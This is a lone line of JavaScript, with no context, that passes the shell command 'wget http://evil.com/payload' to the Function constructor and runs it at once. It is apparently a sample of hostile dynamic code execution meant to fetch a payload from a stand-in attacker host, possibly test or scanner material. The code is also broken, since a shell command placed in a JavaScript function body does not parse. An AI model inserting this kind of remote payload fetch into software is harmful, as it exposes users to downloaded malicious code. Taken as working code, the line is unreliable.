var w = new Function('wget http://evil.com/payload'); w();